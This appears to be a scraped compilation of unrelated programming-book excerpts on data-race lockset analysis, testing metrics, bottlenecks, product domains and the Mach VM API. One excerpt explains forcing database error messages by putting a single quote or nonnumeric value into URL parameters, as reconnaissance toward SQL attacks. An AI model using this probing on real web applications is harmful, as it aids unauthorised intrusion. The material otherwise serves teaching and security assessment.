Programming Documents

19.6 Lockset Analysis

2009-11-13T07:50:00.047-08:00

19.6 Lockset Analysis

Data races are hard to reveal with testing, due to nondeterministic interleaving of threads in a concurrent program. Statically exploring the execution space is computationally expensive, and suffers from the approximated model of computation, as discussed in Chapter 8. Dynamic analysis can greatly amplify the sensitivity of testing to detect potential data races, avoiding the pessimistic inaccuracy of finite state verification while reducing the optimistic inaccuracy of testing.

Data races are commonly prevented by imposing a locking discipline, such as the rule every variable shared between threads must be protected by a mutual exclusion lock. Dynamic lockset analysis reveals potential data races by detecting violation of the locking discipline.

Lockset analysis identifies the set of mutual exclusion locks held by threads when accessing each shared variable. Initially, each shared variable is associated with all available locks. When a thread accesses a shared variable v, lockset analysis intersects the current set of candidate locks for v with the locks held by that thread. The set of candidate locks that remains after executing a set of test cases is the set of locks that were always held by threads accessing that variable. An empty set of locks for a shared variable v indicates that no lock consistently protects v.

The analysis of the two threads in Figure 19.4 starts with two locks associated with variable x. When thread A locks lck1 to access x, the lockset of x is intersected with the locks hold by A. When thread B locks lck2 to access x, the intersection of the lockset of x with the current set of locks becomes empty, indicating that no locks consistently protect x.

Open table as spreadsheet

Thread	Program trace	locks held	lockset (x)
thread A	lock(lck1) x=x+1; unlock(lck1)	{ } {lck1}	{lck1, lck2} {lck1}
thread B	lock(lck2) x=x+1; unlock(lck2)	{ } {lck2} { }	{ }

Figure 19.4: Threads accessing the same shared variable with different locks. (Adapted from Savage et al. [SBN⁺97])

This simple locking discipline is violated by some common programming practices: Shared variables are frequently initialized without holding a lock; shared variables written only during initialization can be safely accessed without locks; and multiple readers can be allowed in mutual exclusion with single writers. Lockset analysis can be extended to accommodate these idioms.

Initialization can be handled by delaying analysis till after initialization. There is no easy way of knowing when initialization is complete, but we can consider the initialization completed when the variable is accessed by a second thread.

Safe simultaneous reads of unprotected shared variables can also be handled very simply by enabling lockset violations only when the variable is written by more than one thread. Figure 19.5 shows the state transition diagram that enables lockset analysis and determines race reports. The initial virgin state indicates that the variable has not been referenced yet. The first access moves the variable to the exclusive state. Additional accesses by the same thread do not modify the variable state, since they are considered part of the initialization procedure. Accesses by other threads move to states shared and shared-modified that record the type of access. The variable lockset is updated in both shared and shared-modified states, but violations of the policy are reported only if they occur in state shared-modified. In this way, read-only concurrent accesses do not produce warnings.

Figure 19.5: The state transition diagram for lockset analysis with multiple read accesses.

To allow multiple readers to access a shared variable and still report writers' data races, we can simply distinguish between the set of locks held in all accesses from the set of locks held in write accesses.

Tests Passing; Solution Doesn't Work

2009-11-13T07:50:00.045-08:00

Tests Passing; Solution Doesn't Work

One of the more frustrating project situations is to find that tests are reported as passing but the solution under the test still doesn't work for observers outside the test team. In these cases, you want to identify why the tests do not seem to find the same issues that other users do. Figures 9.159.18 are examples of this case.

High Bug Find Rate

Frequently you see a high test pass rate but still see a large incoming bug rate (or worse, customers or beta users are reporting lots of bugs that testing seems to be missing).

This can occur for several reasons:

The tests might be too gentle for this stage of the solution. In early iterations, gentle tests are good, but as the solution matures, tests should exercise broader scenarios and integrations. These tests might be missing.
Tests might be stale or be testing the wrong functionality.
It might be time to switch test techniques. (See Chapter 7.)

Consider Figures 9.15, 9.16, and 9.17.

Figure 9.15.

On the Quality Indicators chart, the test pass rate is high, but active bugs are also high.

Figure 9.16.

Correspondingly, on the Bug Rates chart, active bugs are high because find rate stays high.

Figure 9.17.

Tests aren't finding the bugs. On this report, many of the bugs found have no corresponding test. This might be a sign that testing is looking elsewhere. And, if you are expecting regression testing to prevent their undiscovered recurrence, you will need regression tests that you don't have yet.

[View full size image]

Tests Are Stale

Tests do not necessarily evolve at the same rate as the code under test. This risk is present especially when tests are heavily automated. In this situation, you see high test pass rates with ongoing code churn and diminishing code coverage (see Figure 9.18).

Figure 9.18.

This Quality Indicators chart shows a high rate of code churn and a low rate of code coverage from testing, yet test pass rates remain high. This suggests that the tests being run are not exercising the new code. Don't be lulled by the high test pass ratethese tests are clearly not testing all the new development work.

[View full size image]

Identifying Database Servers

2009-11-13T07:50:00.043-08:00

Identifying
Database Servers

Identifying database servers is even trickier
than identifying front-end and internal application servers. Identifying
front-end and internal application servers is easier because both communicate
in HTTP. Their signatures work their way into various elements of HTTP, such as
the URL, HTTP header, and cookies.

In contrast, database servers communicate
with internal application servers in SQL. The only elements of a URL that get
passed to the database interface are the values being exchanged by means of
various input fields and URL parameters. Thus the only way to identify back-end
databases through URLs is to force them to generate errors that are reflected
by the application server and end up being sent back to the Web browser.

Let's consider two URLs:

style='font-size:10.0pt;font-family:Symbol'>�
http://www.example.com/public/index.php?ID=27

style='font-size:10.0pt;font-family:Symbol'>�
http://www.example.org/Profile.cfm?id=3&page=1

The first URL has a PHP script, class=docemphasis1>index.php, which seems to make use of a database as
suggested by the URL parameter "ID=27."
The second URL is a ColdFusion application, which again seems to perform
database queries based on the parameter id.

To force the database servers to return an
error involves tampering with the values passed to the parameters in both
cases. For the first URL, we substitute a nonnumeric ID
value for "27." For the second URL,
we prematurely truncate the query by replacing the value class=docemphasis1>3 with a single quotation mark. style='color:#003399'>Figures 6-11 and style='color:#003399'>6-12, respectively, show how the errors
appear.

style='font-size:10.5pt;font-family:Arial'>Figure 6-11. Forcing a database
error with PHP

style='font-size:10.5pt;font-family:Arial'>Figure 6-12. Forcing a database
error with ColdFusion

We leave it to you to figure out how much
damage is done by simply obtaining the types of information displayed in these
error messages! Hint: The ColdFusion SQL Server
error message contains enough information to launch a URL request that possibly
could cause remote command execution with Administrator privileges on the
database server of the Web application.

Chapter 8. Bottlenecks

2009-11-13T07:50:00.041-08:00

Chapter 8. Bottlenecks

You've created a killer application. You store all your data as UTF-8, you receive and process email like it was candy, your data is well filtered, and you use more external services than you can count. It's going great, your users love you, and the venture capitalists are circling. And then your application. Grinds. To. A. Halt.

As applications grow, weak spots reveal themselves. Techniques that worked for 10 requests a second start to fail for 100 requests a second. Databases with 10,000 rows work fine but start to choke when they reach 100,000 or 1,000,000. In an ideal world, we would find and solve all of these problems before they happen in production, but there's always a chance we'll miss something.

In this chapter we'll look at techniques for identifying
and fixing bottlenecks
in our architecture, both before they happen and when they start to bog our systems down. We'll talk about ways to increase the performance we can get out of our existing hardware so we're making the most of what we have, before we move on to talking about scaling in the next chapter.

Have We Tested the Changes?

2009-11-13T07:50:00.039-08:00

Have We Tested the Changes?

Throughout the lifecycle, the application changes. Regressions are bugs in the software under test that did not appear in previous versions. Regression testing is the term for testing a new version of the software to find those bugs. Almost all types of tests can be used as regression tests, but in keeping with the tenet of "Important problems fast," your regression testing strategy must be very efficient.

Ideally, you should test the most recent changes first. Not only does this mitigate the risk of unforeseen side effects of the changes, but also if you do find bugs and report them, the more recent changes are more current in everyone's memory.

One of the challenges in most test teams is identifying what exactly the changes are. Fortunately, the daily build report shows you exactly what changesets have made it into the build and what work items (scenarios, QoS, tasks, and bugs) have been resolved, thereby identifying the functionality that should be tested first (see Figure 7.13). Moreover, if you have reasonable build verification tests (BVTs), then you can check their results and code coverage.

Figure 7.13.

One of the many purposes of the daily build report is to focus testing activity on the newly built functionality. This list of work items resolved in the build is like an automatic release note, showing what new functionality needs to be tested.

[View full size image]

How Fool's Gold Pans Out

2009-11-13T07:50:00.037-08:00

[ Team LiB ]

How Fool's Gold Pans Out

In conclusion, we hold the following software truths to be self-evident (or evident after careful examination, anyway):

The success of a software project depends on not writing source code too early in the project.
You can't trade defect count for cost or schedule unless you're working on life-critical systems. Focus on defect count; cost and schedule will follow.
Silver bullets are hazardous to a project's health, though software industry history suggests that vendors will continue to claim otherwise.
Half-hearted process improvement is an especially damaging kind of silver bullet because it undermines future improvement attempts.
Despite its name, software isn't soft, unless it's made that way in the first place, and making it soft is expensive.

The software world has had 50 years to learn these lessons. The most successful people and organizations have taken them to heart. Learning to resist software's fool's gold consistently is one of the first steps the software industry needs to take on the road to creating a true profession of software engineering.

[ Team LiB ]

Defining the Process Domain

2009-11-13T07:50:00.035-08:00

< Free Open Study >

Defining the Process Domain

Domain processes are the interrelated activities that are specific to the functioning of the organization for which a software project is developed. The first step is to determine the domain in which the product will eventually be used. For all domain analysis, the critical point of view is that of the ultimate end-user. Valid analyses and evaluations of options must be done from this view. If there is no "real" customer available, then we must rely on a secondary "voice of the customer." This is usually someone from the marketing organization. Even when a matrix is viewed from the "developer's" perspective, the customer is ever present.

The measure of quality for a software project is based on how well the software solves specific domain-related problems. For the software customer, the view is from his business domain, not that of a computer scientist or software engineer. For this reason, to deliver quality software, the project manager must understand the domain for which the software solves specific needs. For software product development, there are six classes of product domains:

Consumer
Business
Industrial
Real-time
Really timely
Scientific

Individuals buy consumer products for personal use. This use could be at home, while traveling, or at work. The key here is that the consumer market is a mass market and is usually addressing a price-sensitive purchaser. Examples of consumer products utilizing software are cellular phones, automobiles, televisions, personal computers, and personal digital assistants.

The majority of software products are targeted at the business product domain. Here the key is providing a cost-effective product to the business customer that will improve overall business profits. These products are usually expensive compared to consumer products and have maintenance, service, and installation services available as a necessary part of the product. Examples of these types of products are database tools such as Oracle™, enterprise resource planning products such as PeopleSoft™, development tool suites such as WebSphere™ and VisualAge™, and operating systems such as Solaris™.

Industrial products are a specific subclass of business products. These are software tools that are purchased for the specific purposes of machine automation, factory automation and integration, and embedded control software. These are special-purpose and usually focused on a specific industry such as automotive, food processing, and semiconductor fabrication. This domain has the highest percentage of product customization and integration with legacy systems. Examples of these products are factory automation software from FactoryWorks™, embedded development systems from Wind River, and process modeling tools such as Hewlett-Packard's Vee™.

Real-time products are used to control processes that have a defined and finite time budget. Real-time systems are used for data collection of events that last less than a microsecond. Real-time products control embedded medical devices such as pacemakers, where information must literally be processed between heartbeats. These products also work in the interface between the collection of analog data such as voice or music and its conversion to digital data that can be stored on a magnetic disk or CD-ROM. All real-time software is written specifically for the target hardware on which it executes.

Really timely, as opposed to real-time, software products must execute within a time budget that does not irritate the end user. Examples of this are the software that runs ATM machines and does credit card verification while ordering over the Internet. Most really timely software products are a part of either business or industrial software products. They are broken out as a subclass because of the potential for causing customer irritability if they do not function effectively.

Scientific products simulate real-world activities using mathematics. Real-world objects are turned into mathematical models. Executing formulas simulates the actions of the real-world objects. For example, some of an airplane's flight characteristics can be simulated in the computer. Rivers, lakes, and mountains can be simulated. Virtually any object with known characteristics can be modeled and simulated. Simulations use enormous calculations and often require supercomputer speed. As personal computers become more powerful, more laboratory experiments will be converted into computer models that can be interactively examined by students without the risk and cost of the actual experiments. Members of this product domain are Matlib™ for large mathematical formula development, Analytica™ for developing large-scale business models, and Expert Choice for developing large-scale decision support systems. Scientific software products are usually special-purpose tool kits for problem solving.

The question now arises, "What about the government market?" For the six classes of software product domains as defined, all of them could be "government" customers. Where the separation of government from private customers comes into play is in the areas of business plans, legal concerns, contracting, and risk analysis.

Four classes of product systems look at ways that the software product will be built and delivered from the developer's perspective. These four have different product development plans and life cycles. Although all product development is an iterative process, in the real business world there is usually an existing product portfolio. During the conceptual stage, the project manager will have worked on the product concept and selected a preliminary life cycle. That earlier work influences the selection of one or more of these product system classes:

New software product
Re-engineering of existing product
Component integration
Heroic maintenance

A new software product starts with a set of requirements and moves through its development life cycle to delivery. It will use some sort of development tools and possibly object libraries, where appropriate. This is building a truly new software product for taking advantage of a new technology such as the Internet or using a new set of programming tools such as Java. It may also be a new market opportunity because of changes in government regulations such as telecommunications or banking deregulation.

Re-engineering existing product is simply that. This product already exists in a form that may use outmoded software technology or be hosted on obsolete hardware. An example would be a DOS-based data collection system that would be re-engineered to run on Linux.

Taking available commercial-off-the-shelf (COTS) products and integrating them into a product is component integration. An example of this type of product is taking an available embedded database tool along with a script-generation tool and a graphical user interface (GUI) generator to produce a new product that is used for integrating factory equipment into the overall manufacturing execution system.

Heroic maintenance occurs when a company wants to wring the last bit of revenue out of an existing software product that has been passed over for re-engineering. Software product companies take great care in the management and timing of the releases of new capabilities within their product portfolios. When completely new products or massively re-engineered products are released, there is always a potential to cannibalize existing customer sales instead of having new customers buy the new product. Timing decisions may result in the delay of the newest product and the release of the old product with heroic work done to dress it up in new clothes. An example of this is once again our DOS system: Instead of re-engineering the entire system, the command-line interface was replaced with a pseudo-GUI. This is known in the software industry as "same dog, new collar!"

The first matrix to be developed by the project manager involves identifying the product domain type, illustrated in Figure 5-3. This product domain type resides at the intersection of the six product domain classes and the product type classes. A software product can be defined to exist in multiple cells on this matrix. For example, suppose that there is a new, Web-based software product for registering personal DVD movies in a trading club in which points are earned to borrow (or a small fee is paid, if points are insufficient). This product would "live" in the consumer and really timely product domain classes as both a new software product and component integration. Although the concept of the product is new and new software would be developed, there are many libraries of components available for use. This example is represented in the matrix with an X in the relevant cell.

Figure 5-3. Step 1�Identify the Product Domain Type

Another example product is an enhancement to an existing factory-integration product to take information from past process steps and determine the optimum process for the product through the factory based on past production yield information and customer orders. We can tell immediately that this will be re-engineering an existing product, but some new software also will be developed. This product may touch four of the product domain classes: business, industrial, real-time, and scientific. Business could be touched because of accessing historic information on production yields. Industrial and real-time apply because it will be operating on factory automation equipment. The scientific piece comes in with the optimization algorithms necessary for determining the best individual product flow through the factory. This example is represented in the matrix with an O in the relevant cell.

The third part of defining the process domain is the product component classes. This set of classes is also viewed from the perspective of the end-user. There are six members of the class, and the key question to ask is, "What does the customer expect to have delivered?" The software development project manager must discover whether the end-user has a product expectation. Six product component classes exist:

Software
Hardware
People
Database
Documentation
Procedures

If a project is to develop a "pure" software product, the end-user has an expectation that he will get an installation set of media or an access key to a remote site to download the product. This is the way most consumer software is purchased�the only items received are the media or a digital file.

Many products are turnkey: The developed software is hosted on hardware. Buying a cellular phone usually dictates the software running within the hardware. Although the software is a critical system component, the customer purchases the hardware.

People are a critical part of many software products. Enterprise-wide software systems used for financial management, factory control, and product development may require consulting services to be "purchased" along with the software to aid in product installation, integration, and adoption into a specific environment.

Database products, although most definitely software, are separated as a distinct class because of the expectations that accompany the purchase of this class of complex software. A database product is usually purchased as a separate, general-purpose tool kit to be used as an adjunct to all of a company's other information systems. More "software" products are delivered with an embedded database package within the product. It is important for the customer to realize that he is purchasing not only the "new" software, but also a database product.

Documentation is almost always a part of the product. In some cases, it may be books and manuals purchased as a "shrink-wrapped," off-the-shelf software product. Many complex enterprise software products have third-party authors writing usage and tips books sold through commercial bookstores. If downloaded, the digital files may include a "readme" file and possibly complete soft copy documentation. Acquiring software from some sources such as SourceForge (www.SourceForge.com) may provide no documentation other that the software's source code.

Procedures or business rules are a final component class. In situations in which the customer is buying systems and software used for decision support, equipment control, and component integration, it is important for the customer to understand the procedure deliverables. Usually the custom development of the business rules for an organization are done by either the organization itself or consultants hired from the software company. This can be a very gray area, and it is important that the project manager understand all of the project deliverables early in the development life cycle, especially those that can cause customer dissatisfaction and demonstrate a lack of quality.

Now that the third set of domain classes has been defined, the project manager can fill out the last two matrices. The next one to complete is the identification of the critical product components, shown in Figure 5-4. This matrix is a table of the product component classes matched with the classes of product systems. This matrix provides us with the deliverables for the defined product based on whether it is new software, re-engineered software, a component integration product, or the heroic maintenance of a legacy product within the company's portfolio. Remember, the Web example is the X and the factory integration is the O.

Figure 5-4. Step 2�Identify Critical Product Components

For example, our Web-based software product for registering personal DVD movies was determined to be both a new software product and component integration. The critical product components for this product are software and documentation. It is Web-based and runs from a browser running on the customer's personal hardware. The customer will see no database, people, or procedures. The only documentation may be the instructions on the Web page itself.

Our other example product, an enhancement to an existing factory integration product, involves re-engineering an existing product and some new software development. Based on how the product is to be marketed, the customer will see all the component classes except hardware. He will expect software to be delivered along with a field applications engineer to do the installation and acceptance testing within the customer's factory. The customer will also expect a database to keep the real-time product status and yield information along with the procedures for running the optimization algorithms. Documentation will be critical to both a company's engineers doing the installation and the customers after the product is accepted.

The third matrix that the project manager produces to define the domain is to link the product domains to the delivered components. This matrix shown in Figure 5-5 is a table of the product component classes matched with the product domain classes. This matrix provides us with the deliverables for the defined product based on whether it is going to be installed into a consumer, business, industrial, real-time, really timely, or scientific domain.

Figure 5-5. Step 3�Link Product Domains with Components

Using our two examples, the Web-based software product for registering personal DVD movies in a trading club would "live" in the consumer and really timely product domain classes. The deliverables would be software and documentation. The second example, an enhancement to an existing factory integration product, touches four of the product domain classes: business, industrial, real-time, and scientific. The deliverable components are software, people, database, documentation, and procedures.

Chapter 4, "Selecting Software Development Life Cycles," provided the descriptions of commonly used software development life cycles and the selection criteria for each. When compared to the overall company versus product life cycles, the software development life cycle is assumed within the acquisition phase of the product life cycle. Figure 5-1 shows this.

A project manager must understand the relationship within his organization of software development within product life cycles. A typical product development life cycle begins with a development or acquisition phase during which the product is built or acquired. Figure 5-6 represents the product development phase. The project manager works hand in hand with the product manager to plan for the manufacturing of the product. This phase is the production ramp. Investment is made on the infrastructure for product manufacturing, and first products are built. After the production ramp, the software portion of the product is out of the hands of the software project manager, except for problem fixes.

Figure 5-6. Software Development Life Cycle

Figure 5-7 shows the entire product life cycle plotted in months versus thousands of dollars invested. The dollars of investment on the left side of the graph and below the zero line is the estimated investment in the product. The dollars above the zero line are the estimated revenue dollars that the product will earn. This type of information is usually developed by marketing and is a critical part of the return on investment that the product will make.

Figure 5-7. Software Product Life Cycle

Finally, the relationship between the development and product life cycles is graphically represented in Figure 5-8. This relationship is critical to keep in mind as the project manager works through the product development process. In the product world, the product life cycle drives decisions and investment. Only the investment part of the software development life cycle is important to product managers planning product portfolios.

Figure 5-8. Software Product and Development Life Cycles

< Free Open Study >

Section 8.6. The Mach VM User-Space Interface

2009-11-13T07:50:00.033-08:00

8.6. The Mach VM User-Space Interface

Mach provides a powerful set of routines to user programs for manipulating task address spaces. Given the appropriate privileges, a task can perform operations on another task's address space identically to its own. All routines in the Mach VM user interface require the target task as an argument.^[12] Therefore, the routines are uniform in how they are used, regardless of whether the target task is the caller's own task or another.

^[12] Specifically, the target task is a send right to the control port of the target task.

Since user address spaces have a one-to-one mapping with user tasks, there are no explicit routines to create or destroy an address space. When the first task (the kernel task) is created, the map field of its task structure is set to refer to the kernel map (kernel_map), which is created by kmem_init() [osfmk/vm/vm_kern.c] during VM subsystem initialization. For subsequent tasks, a virtual address space is created with the task and destroyed along with the task. We saw in Chapter 6 that the task_create() call takes a prototype task and an address space inheritance indicator as arguments. The initial contents of a newly created task's address map are determined from these arguments. In particular, the inheritance properties of the prototype task's address map determine which portions, if any, are inherited by the child task.

// osfmk/kern/task.c

kern_return_t
task_create_internal(task_t     parent_task,
                     boolean_t  inherit_memory,
                     task_t    *child_task)
{
    ...
    if (inherit_memory)
        new_task->map = vm_map_fork(parent_task->map);
    else
        new_task->map = vm_map_create(pmap_create(0),
                                      (vm_map_offset_t)(VM_MIN_ADDRESS),
                                      (vm_map_offset_t)(VM_MAX_ADDRESS), TRUE);
    ...
}

vm_map_fork() [osfmk/vm/vm_map.c] first calls pmap_create() [osfmk/ppc/pmap.c] to create a new physical map and calls vm_map_create() [osfmk/vm/vm_map.c] to create an empty VM map with the newly created physical map. The minimum and maximum offsets of the new VM map are taken from the parent's map. vm_map_fork() then iterates over the VM map entries of the parent's address map, examining the inheritance property of each. These properties determine whether the child inherits any memory ranges from the parent, and if so, how (fully shared or copied). Barring inherited memory ranges, a newly created address space is otherwise empty. Before the first thread executes in a task, the task's address space must be populated appropriately. In the case of a typical program, several partiessuch as the kernel, the system library, and the dynamic link editordetermine what to map into the task's address space.

Let us now look at several Mach VM routines that are available to user programs. The following is a summary of the functionality provided by these routines:

Creating an arbitrary memory range in a task, including allocation of new memory
Destroying an arbitrary memory range, including one that is unallocated, in a task
Reading, writing, and copying a memory range
Sharing a memory range
Setting protection, inheritance, and other attributes of a memory range
Preventing the pages in a memory range from being evicted by wiring them in physical memory

Note that in this section, we discuss the new Mach VM API that was introduced in Mac OS X 10.4. The new API is essentially the same as the old API from the programmer's standpoint, with the following key differences.

Routine names have the mach_ prefixfor example, vm_allocate() becomes mach_vm_allocate().
Data types used in routines have been updated to support both 64-bit and 32-bit tasks. Consequently, the new API can be used with any task.
The new and old APIs are exported by different MIG subsystems^[13]: mach_vm and vm_map, respectively. The corresponding header files are <mach/mach_vm.h> and <mach/vm_map.h>, respectively.
^[13] We will look at MIG subsystems in Chapter 9.

8.6.1. `mach_vm_map()`

mach_vm_map() is the fundamental user-visible Mach routine for establishing a new range of virtual memory in a task. It allows fine-grained specification of the properties of the virtual memory being mapped, which accounts for its large number of parameters.

kern_return_t
mach_vm_map(vm_map_t               target_task,
            mach_vm_address_t     *address,
            mach_vm_size_t         size,
            mach_vm_offset_t       mask,
            int                    flags,
            mem_entry_name_port_t  object,
            memory_object_offset_t offset,
            boolean_t              copy,
            vm_prot_t              cur_protection,
            vm_prot_t              max_protection,
            vm_inherit_t           inheritance);

Given the importance of mach_vm_map(), we will discuss each of its parameters. We will not do so for all Mach VM routines.

target_task specifies the task whose address space will be used for mapping. A user program specifies the control port of the target task as this argument, and indeed, the type vm_map_t is equivalent to mach_port_t in user space. Mach's IPC mechanism translates a vm_map_t to a pointer to the corresponding VM map structure in the kernel. We will discuss this translation in Section 9.6.2.

When mach_vm_map() returns successfully, it populates the address pointer with the location of the newly mapped memory in the target task's virtual address space. This is when the VM_FLAGS_ANYWHERE bit is set in the flags argument. If this bit is not set, then address contains a caller-specified virtual address for mach_vm_map() to use. If the memory cannot be mapped at that address (typically because there is not enough free contiguous virtual memory beginning at that location), mach_vm_map() will fail. If the user-specified address is not page-aligned, the kernel will truncate it.

size specifies the amount of memory to be mapped in bytes. It should be an integral number of pages; otherwise, the kernel will round it up appropriately.

The mask argument of mach_vm_map() specifies an alignment restriction on the kernel-chosen starting address. A bit that is set in mask will not be set in the addressthat is, it will be masked out. For example, if mask is 0x00FF_FFFF, the kernel-chosen address will be aligned on a 16MB boundary (the lower 24 bits of the address will be zero). This feature of mach_vm_map() can be used to emulate a virtual page size that is larger than the physical page size.

Caveat Regarding Offsets and Sizes

As we noted in Section 8.4, Mach VM API routines operate on page-aligned addresses and memory sizes that are integral multiples of the page size. In general, if a user-specified address is not the beginning of a page, the kernel truncates itthat is, the actual address used will be the beginning of the page in which the original address resides. Similarly, if a size-specifying argument contains a byte count that is not an integral number of pages, the kernel rounds the size up appropriately. The following macros are used for truncating and rounding offsets and sizes (note that rounding 0xFFFF_FFFF pages yields the value 1):

[View full width]
// osfmk/mach/ppc/vm_param.h

#define PPC_PGBYTES 4096
#define PAGE_SIZE   PPC_PGBYTES
#define PAGE_MASK   (PAGE_SIZE - 1)

// osfmk/vm/vm_map.h

#define vm_map_trunc_page(x) ((vm_map_offset_t)(x) & ~(
(signed)PAGE_MASK))
#define vm_map_round_page(x) (((vm_map_offset_t)(x) + PAGE_MASK) & \
                             ~((signed)PAGE_MASK))

The following are examples of individual flags (bits) that can be set in the flags argument.

VM_FLAGS_FIXED This is used to specify that the new VM region should be allocated at the caller-provided address, if possible. VM_FLAGS_FIXED is defined to be the value 0x0. Therefore, logically OR'ing this does not change the value of flags. It merely represents the absence of VM_FLAGS_ANYWHERE.
VM_FLAGS_ANYWHERE This is used to specify that the new VM region can be allocated anywhere in the address space.
VM_FLAGS_PURGABLE This is used to specify that a purgable VM object should be created for the new VM region. A purgable object has the special property that it can be put into a nonvolatile state in which its pages become eligible for reclamation without being paged out to the backing store.
VM_FLAGS_OVERWRITE This, when used along with VM_FLAGS_FIXED, is used to specify that the new VM region can replace existing VM regions if necessary.

object is the critical argument of mach_vm_map(). It must be a Mach port naming a memory object, which will provide backing for the range being mapped. As we saw earlier, a memory object represents a range of pages whose properties are controlled by a single pager. The kernel uses the memory object port to communicate with the pager. When mach_vm_map() is used to map some portion of a task's address space with a memory object, the latter's pages are accessible by the task. Note that the virtual address at which such a page range appears in a given task is task-dependent. However, a page has a fixed offset within its memory objectthis offset is what a pager works with.

The following are some examples of memory objects used with mach_vm_map().

When a Mach-O executable is loaded for execution by the execve() system call, the file is mapped into the address space of the target process through the vm_map() kernel function [osfmk/vm/vm_user.c], with the object argument referring to the vnode pager.
If the object argument is the null memory object (MEMORY_OBJECT_NULL), or equivalently, MACH_PORT_NULL, mach_vm_map() uses the default pager, which provides initially zero-filled memory backed by the system's swap space. In this case, mach_vm_map() is equivalent to mach_vm_allocate() (see Section 8.6.3), albeit with more options for configuring the memory's properties.
The object argument can be a named entry handle. A task creates a named entry from a given mapped portion of its address space by calling mach_make_memory_entry_64(), which returns a handle to the underlying VM object. The handle so obtained can be used as a shared memory object: The memory it represents can be mapped into another task's address space (or the same task's address space, for that matter). We will see an example of using mach_make_memory_entry_64() in Section 8.7.5.

There is also mach_make_memory_entry(), which is a wrapper around mach_make_memory_entry_64(). The latter is not 64-bit-only, as its name suggests.

The offset argument specifies the beginning of the memory in the memory object. Along with size, this argument specifies the range of the memory to be mapped in the target task.

If copy is TRUE, the memory is copied (with copy-on-write optimization) from the memory object to the target task's virtual address space. This way, the target receives a private copy of the memory. Thereafter, any changes made by the task to that memory will not be sent to the pager. Conversely, the task will not see changes made by someone else. If copy is FALSE, the memory is directly mapped.

cur_protection specifies the initial current protection for the memory. The following individual protection bits can be set in a Mach VM protection value: VM_PROT_READ, VM_PROT_WRITE, and VM_PROT_EXECUTE. The values VM_PROT_ALL and VM_PROT_NONE represent all bits set (maximum access) and no bits set (all access disallowed), respectively. max_protection specifies the maximum protection for the memory.

Thus, each mapped region has a current protection and a maximum protection. Once the memory is mapped, the kernel will not allow the current to exceed the maximum. Both the current and maximum protection attributes can be subsequently changed using mach_vm_protect() (see Section 8.6.5), although note that the maximum protection can only be loweredthat is, made more restrictive.

inheritance specifies the mapped memory's initial inheritance attribute, which determines how the memory is inherited by a child task during a fork() operation. It can take the following values.

VM_INHERIT_NONE The range is undefined ("empty") in the child task.
VM_INHERIT_SHARE The range is shared between the parent and the child, allowing each to freely read from and write to the memory.
VM_INHERIT_COPY The range is copied (with copy-on-write and other, if any, optimizations) from the parent into the child.

The inheritance attribute can be later changed using mach_vm_inherit() (see Section 8.6.6).

8.6.2. `mach_vm_remap()`

mach_vm_remap() takes already mapped memory in a source task and maps it in the target task's address space, with allowance for specifying the new mapping's properties (as in the case of mach_vm_map()). You can achieve a similar effect by creating a named entry from a mapped range and then remapping it through mach_vm_map(). In that sense, mach_vm_remap() can be thought of as a "turnkey" routine for memory sharing. Note that the source and target tasks could be the same task.

kern_return_t
mach_vm_remap(vm_map_t           target_task,
              mach_vm_address_t *target_address,
              mach_vm_size_t     size,
              mach_vm_offset_t   mask,
              boolean_t          anywhere,
              vm_map_t           src_task,
              mach_vm_address_t  src_address,
              boolean_t          copy,
              vm_prot_t         *cur_protection,
              vm_prot_t         *max_protection,
              vm_inherit_t       inheritance);

The cur_protection and max_protection arguments return the protection attributes for the mapped region. If one or more subranges have differing protection attributes, the returned attributes are those of the range with the most restrictive protection.

8.6.3. `mach_vm_allocate()`

mach_vm_allocate() allocates a region of virtual memory in the target task. As noted earlier, its effect is similar to calling mach_vm_map() with a null memory object. It returns initially zero-filled, page-aligned memory. Like mach_vm_map(), it allows the caller to provide a specific address at which to allocate.

kern_return_t
mach_vm_allocate(vm_map_t          target_task,
                 mach_vm_address_t address,
                 mach_vm_size_t    size,
                 int               flags);

8.6.4. `mach_vm_deallocate()`

mach_vm_deallocate() invalidates the given range of virtual memory in the given address space.

kern_return_t
mach_vm_deallocate(vm_map_t           target_task,
                   mach_vm_address_t *address,
                   mach_vm_size_t     size);

It is important to realize that as used here, the terms allocate and deallocate subtly differ from how they are used in the context of a typical memory allocator (such as malloc(3)). A memory allocator usually tracks allocated memorywhen you free allocated memory, the allocator will check that you are not freeing memory you did not allocate, or that you are not double-freeing memory. In contrast, mach_vm_deallocate() simply removes the given rangewhether currently mapped or notfrom the given address space.

When a task receives out-of-line memory in an IPC message, it should use mach_vm_deallocate() or vm_deallocate() to free that memory when it is not needed. Several Mach routines dynamicallyand implicitlyallocate memory in the address space of the caller. Typical examples of such routines are those that populate variable-length arrays, such as process_set_tasks() and task_threads().

8.6.5. `mach_vm_protect()`

mach_vm_protect() sets the protection attribute for the given memory range in the given address space. The possible protection values are the same as those we saw in Section 8.6.1. If the set_maximum Boolean argument is TRUE, new_protection specifies the maximum protection; otherwise, it specifies the current protection. If the new maximum protection is more restrictive than the current protection, the latter is lowered to match the new maximum.

kern_return_t
mach_vm_protect(vm_map_t          target_task,
                mach_vm_address_t address,
                mach_vm_size_t    size,
                boolean_t         set_maximum,
                vm_prot_t         new_protection);

8.6.6. `mach_vm_inherit()`

mach_vm_inherit() sets the inheritance attribute for the given memory range in the given address space. The possible inheritance values are the same as those we saw in Section 8.6.1.

kern_return_t
mach_vm_inherit(vm_map_t          target_task,
                mach_vm_address_t address,
                mach_vm_size_t    size,
                vm_inherit_t      new_inheritance);

8.6.7. `mach_vm_read()`

mach_vm_read() TRansfers data from the given memory range in the given address space to dynamically allocated memory in the calling task. In other words, unlike most Mach VM API routines, mach_vm_read() implicitly uses the current address space as its destination. The source memory region must be mapped in the source address space. As with memory allocated dynamically in other contexts, it is the caller's responsibility to invalidate it when appropriate.

kern_return_t
mach_vm_read(vm_map_t                target_task,
             mach_vm_address_t       address,
             mach_vm_size_t          size,
             vm_offset_t            *data,
             mach_msg_type_number_t *data_count);

The mach_vm_read_overwrite() variant reads into a caller-specified buffer. Yet another variantmach_vm_read_list()reads a list of memory ranges from the given map. The list of ranges is an array of mach_vm_read_entry structures [<mach/vm_region.h>]. The maximum size of this array is VM_MAP_ENTRY_MAX (256). Note that for each source address, memory is copied to the same address in the calling task.

kern_return_t
mach_vm_read_overwrite(vm_map_t           target_task,
                       mach_vm_address_t  address,
                       mach_vm_size_t     size,
                       mach_vm_address_t  data,
                       mach_vm_size_t    *out_size);

kern_return_t
mach_vm_read_list(vm_map_t             target_task,
                  mach_vm_read_entry_t data_list,
                  natural_t            data_count);

struct mach_vm_read_entry {
    mach_vm_address_t address;
